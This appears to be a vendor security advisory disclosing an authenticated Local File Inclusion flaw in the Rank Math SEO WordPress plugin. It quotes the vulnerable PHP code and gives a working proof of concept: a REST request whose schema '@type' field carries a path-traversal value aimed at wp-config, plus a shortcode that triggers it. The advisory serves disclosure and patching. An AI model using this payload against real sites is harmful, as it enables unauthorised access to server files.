There’s a vulnerability in Rank Math SEO Plugin. If you’re a Rank Math SEO user, please update the plugin to at least version 1.0.107.3.
Patchstack paid plan users are protected from the vulnerability. You can also sign up for the Patchstack Community plan to be notified about vulnerabilities as soon as they become disclosed.
For plugin developers, we have security audit services and Threat Intelligence Feed API for hosting companies.
Introduction
The plugin Rank Math SEO (versions 1.0.107.2 and below), which has over 1,000,000 active installations is known as “The Swiss Army Knife” for WordPress SEO.
This is one of the most popular WordPress SEO Plugins which can be used to help every website owner get access to the SEO tools they need to improve their SEO and attract more traffic to their website.
This plugin suffers from authenticated Local File Inclusion (LFI) vulnerability.
This vulnerability allows any authenticated user with a minimum Contributor role to perform local file inclusion with a limited .php file extension on the WordPress server.
The described vulnerability was fixed in version 1.0.107.3 and assigned CVE-2023-23888
The security vulnerability in Rank Math SEO
Read more about the vulnerability from the Patchstack database.
The initial discovery of this vulnerability happened when we analyzed the shortcode features provided by the plugin. One of the shortcodes available is rank_math_rich_snippet
that is handled by the rich_snippet
function:
public function rich_snippet( $atts ) {
$atts = shortcode_atts(
[
'id' => false,
'post_id' => Param::get( 'post_id' ) ? Param::get( 'post_id' ) : get_the_ID(),
'className' => '',
],
$atts,
'rank_math_rich_snippet'
);
if ( 'edit' === Param::get( 'context' ) ) {
rank_math()->variables->setup();
}
$data = $this->get_schema_data( $atts['id'], $atts['post_id'] );
if ( empty( $data ) || empty( $data['schema'] ) ) {
return esc_html__( 'No schema found.', 'rank-math' );
}
$post = get_post( $data['post_id'] );
$schemas = ! empty( $atts['id'] ) ? [ $data['schema'] ] : $data['schema'];
$html = '';
foreach ( $schemas as $schema ) {
$schema = $this->replace_variables( $schema, $post );
$schema = $this->do_filter( 'schema/shortcode/filter_attributes', $schema, $atts );
/**
* Change the Schema HTML output.
*
* @param string $unsigned HTML output.
* @param array $schema Schema data.
* @param WP_Post $post The post instance.
* @param Snippet_Shortcode $this Snippet_Shortcode instance.
*/
$html .= $this->do_filter( 'snippet/html', $this->get_snippet_content( $schema, $post, $atts ), $schema, $post, $this );
}
return $html;
}
The shortcode handler will call get_snippet_content
function using a couple of parameters (including the $schema parameter which contains Rank Math schema data of each WP POST) :
public function get_snippet_content( $schema, $post, $atts ) {
wp_enqueue_style( 'rank-math-review-snippet', rank_math()->assets() . 'css/rank-math-snippet.css', null, rank_math()->version );
$type = \strtolower( $schema['@type'] );
$this->post = $post;
$this->schema = $schema;
if ( in_array( $type, [ 'article', 'blogposting', 'newsarticle' ], true ) ) {
return;
}
if ( Str::ends_with( 'event', $type ) ) {
$type = 'event';
}
if ( 'resturant' === $type ) {
$type = 'restaurant';
}
$class = ! empty( $atts['className'] ) ? $atts['className'] : '';
ob_start();
?>
<div id="rank-math-rich-snippet-wrapper" class="<?php echo esc_attr( $class ); ?>">
<?php
$file = rank_math()->plugin_dir() . "includes/modules/schema/shortcode/$type.php";
if ( file_exists( $file ) ) {
include $file;
}
Notice that the $file
variable will be built using the $type
variable and will be included in the code. The $type
variable is built from $schema['@type']
variable.
In this case, if we are able to control that variable, we could achieve path traversal resulting to limited arbitrary .php Local File Inclusion.
As a Contributor role user, we could set a Rank Math schema of each WP POST by making a POST request to /wp-json/rankmath/v1/updateSchemas
with this JSON data:
{
"objectID": "<POST X ID>",
"objectType": "post",
"schemas": {
"new-9999": {
"metadata": {
"title": "Article",
"type": "template",
"shortcode": "s-63cfbb5cad2aa",
"isPrimary": true
},
"articleSection": "%primary_taxonomy_terms%",
"headline": "%seo_title%",
"description": "xxx",
"keywords": "%keywords%",
"@type": "../../../../../../../../../../../../../../srv/www/wordpress/wp-config",
"author": {
"@type": "Person",
"name": "%name%"
},
"datePublished": "%date(Y-m-d\\TH:i:sP)%",
"dateModified": "%modified(Y-m-d\\TH:i:sP)%",
"image": {
"@type": "ImageObject",
"url": "%post_thumbnail%"
}
}
}
}
We inject the path traversal payload on the schemas["@type"]
field. After setting up the schema, we just need to draft a new WP POST containing the shortcode
string as a content :
[rank_math_rich_snippet post_id="<POST X ID>"]
Viewing the drafted WP POST will trigger the LFI. The ideal attack scenario would need other vulnerability to inject or upload PHP code to a .php file on the WordPress server. If the file could not be reached directly, we are able to utilize this LFI vulnerability.
The patch in Rank Math SEO
Since this issue is mainly because the code tries to include some part of the file path from user input, the developer decided to filter the data using regex and sanitize_file_name
function. The patch can be found here:
Disclosure timeline
26-01-2022 – We found the vulnerability in Rank Math SEO and compiled a vulnerability report.
29-01-2022 – We reached out to the plugin vendor.
30-01-2022 – Rank Math SEO plugin version 1.0.107.3 was published to patch the reported issues.
10-02-2023 – Added the vulnerabilities to the Patchstack vulnerability database.
14-02-2023 – Published the article.
Help us make the web a safer place
Making the WordPress ecosystem more secure is a team effort, and we believe that plugin developers and security researchers should work together.
- If you’re a plugin developer, join our mVDP program that makes it easier to report, manage and address vulnerabilities in your software.
- If you’re a security researcher, join Patchstack Alliance to report vulnerabilities & earn rewards.